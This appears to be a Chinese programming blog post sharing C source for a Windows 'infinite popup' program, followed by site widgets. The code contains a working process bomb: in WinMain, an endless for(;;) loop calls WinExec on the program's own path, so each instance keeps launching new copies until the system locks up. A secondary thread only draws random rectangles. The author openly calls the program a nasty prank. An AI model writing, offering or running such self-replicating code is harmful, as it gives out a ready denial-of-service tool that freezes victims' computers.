Windows无限弹窗程序

最近一直在学习 Windows编程,结果就写了一个恶心人的弹窗小程序。技术是一把双刃剑,用的好就是正途,用的不好就是害人。

#if defined(UNICODE) && !defined(_UNICODE)
    #define _UNICODE
#elif defined(_UNICODE) && !defined(UNICODE)
    #define UNICODE
#endif

#include <tchar.h>
#include <windows.h>
#include <process.h>

/*  Declare Windows procedure  */
LRESULT CALLBACK WndProc(HWND, UINT, WPARAM, LPARAM);

HWND hwnd;
int cxClient, cyclient;

int WINAPI WinMain (HINSTANCE hInstance,
                     HINSTANCE hPrevInstance,
                     LPSTR szCmdLine,
                     int iCmdShow)
{
    //char path[255] = {0};
    //GetModuleFileNameA(GetModuleHandle(NULL),path,255);
    static TCHAR szAppName[] = TEXT("RndRctMT");
    MSG msg;
    WNDCLASS wndclass;    //定义一个窗口对象

    wndclass.style         = CS_HREDRAW | CS_VREDRAW;
    wndclass.lpfnWndProc   = WndProc;
    wndclass.cbClsExtra    = 0;
    wndclass.cbWndExtra    = 0;
    wndclass.hInstance     = hInstance;
    wndclass.hIcon         = LoadIcon (NULL, IDI_APPLICATION);
    wndclass.hCursor       = LoadCursor(NULL,IDC_ARROW);
    wndclass.hbrBackground = (HBRUSH)GetStockObject(WHITE_BRUSH);
    wndclass.lpszMenuName  = NULL;
    wndclass.lpszClassName = szAppName;

    if(!RegisterClass (&wndclass))
    {
        MessageBox(NULL,"This program requires Windows NT",szAppName,MB_ICONERROR);
        return 0;
    }

    hwnd = CreateWindow(szAppName,TEXT("Random Rectangles"),
                        WS_OVERLAPPEDWINDOW,
                        CW_USEDEFAULT,CW_USEDEFAULT,
                        CW_USEDEFAULT,CW_USEDEFAULT,
                        NULL,NULL,hInstance,NULL);

      ShowWindow(hwnd,iCmdShow);
      UpdateWindow(hwnd);
      char path[255]={0};
      GetModuleFileNameA(GetModuleHandle(NULL),path,255);   //获取文件路径
      int i=0;
     

        for(;;)

        WinExec(path,SW_SHOW);

    while(GetMessage(&msg,NULL,0,0))
    {
        TranslateMessage(&msg);
        DispatchMessage(&msg);
    }
    return msg.wParam;
}

void Thread(void *pvoid)
{
    HBRUSH hBrush;
    HDC  hdc;
    int xLeft,xRight,yTop,yBottom,iRed,iGreen,iBlue;
    while(TRUE)
    {
        if(cxClient !=0 || cyclient != 0)
        {
            xLeft = rand() % cxClient;
            xRight = rand() % cxClient;
            yTop = rand() % cxClient;
            yBottom  = rand() % cxClient;
            iRed = rand() &255;
            iGreen = rand() & 255;
            iBlue = rand() &255;

            hdc = GetDC (hwnd);
            hBrush = CreateSolidBrush(RGB(iRed,iGreen,iBlue));
            SelectObject(hdc,hBrush);
            Rectangle(hdc,min(xLeft,xRight),min(yTop,yBottom),max(xLeft,xRight),max(yTop,yBottom));
            ReleaseDC(hwnd,hdc);
            DeleteObject(hBrush);
        }
    }
}


LRESULT CALLBACK WndProc(HWND hwnd,UINT message, WPARAM wParam, LPARAM lParam)
{
    switch (message)
    {
    case WM_CREATE:
        _beginthread(Thread,0,NULL);
        return 0;
    case WM_SIZE:
        cxClient = LOWORD(lParam);
        cyclient = HIWORD(lParam);
        return 0;
    case WM_DESTROY:
        PostQuitMessage(0);
        return 0;
    }
    return DefWindowProc(hwnd,message,wParam,lParam);


效果图:


}


  • 5
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值